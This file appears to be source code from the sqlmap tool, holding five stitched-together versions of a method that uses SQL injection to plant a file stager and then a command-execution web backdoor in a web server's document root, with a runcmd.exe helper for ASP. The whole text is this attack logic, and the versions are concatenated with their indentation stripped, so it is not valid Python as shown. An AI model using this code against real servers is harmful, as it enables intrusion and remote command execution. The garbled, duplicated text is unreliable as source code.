def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
warned = set()
success = False
for i in xrange(len(kb.docRoot)):
if success:
break
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
uriPath = ""
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
logger.warn(warnMsg)
warned.add(localPath)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted" % localPath
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ['asp', 'aspx', 'php', 'jsp']
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if kb.os == "Windows":
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot(self.webApi)
directories = getDirs(self.webApi)
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, directory)
requestDir = ntToPosixSlashes(directory)
if not requestDir:
continue
if requestDir[-1] != '/':
requestDir += '/'
requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
if isWindowsDriveLetterPath(requestDir):
requestDir = requestDir[2:]
requestDir = normalizePath(requestDir).replace("//", "/")
if requestDir[0] != '/':
requestDir = '/' + requestDir
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
logger.warn(warnMsg)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
logger.warn(warnMsg)
continue
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "with file stager probably because of "
warnMsg += "lack of write permission."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ['asp', 'aspx', 'php', 'jsp']
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if kb.os == "Windows":
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
warned = set()
success = False
for i in xrange(len(kb.docRoot)):
if success:
break
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
if not all(
isinstance(item, basestring)
for item in [docRoot, directory]):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace(
"//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(
"//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(
directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(
docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(
r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
uriPath = uriPath.replace("//", "/").rstrip('/')
localPath = localPath.rstrip('/')
if not uriPath:
uriPath = '/'
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname,
conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'),
stagerName)
uplPage, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
logger.warn(warnMsg)
warned.add(localPath)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted" % localPath
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(
r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"",
uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(
r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"",
uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'),
runcmdName)
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName,
backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName,
backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (
self.webBaseUrl.rstrip('/'), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(
backdoorStream, backdoorName,
posixToNtSlashes(localPath)
if kb.os == "Windows" else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "with file stager probably because of "
warnMsg += "lack of write permission."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName,
localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = localPath
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = WEB_API.ASP
else:
default = WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems latter)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
message = "which web application language does the web server "
message += "support?\n"
message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
message += "[3] JSP"
while True:
choice = readInput(message, default="1" if kb.os == "Windows" else "2")
if not choice or choice == "2":
self.webApi = "php"
break
elif choice == "1":
self.webApi = "asp"
break
elif choice == "3":
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
kb.docRoot = getDocRoot(self.webApi)
directories = getDirs(self.webApi)
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName
)
originalBackdoorContent = backdoorContent = backdoorStream.read()
uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))
for directory in directories:
# Upload the uploader agent
self.__webFileInject(uploaderContent, uploaderName, directory)
requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/")
if isWindowsPath(requestDir):
requestDir = requestDir[2:]
requestDir = normalizePath(requestDir)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName)
self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName
)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace(
"RUNCMD_EXE", runcmdName
)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(
backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory
):
warnMsg = "backdoor hasn't been successfully uploaded "
warnMsg += "with uploader probably because of permission "
warnMsg += "issues."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for uploader? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
break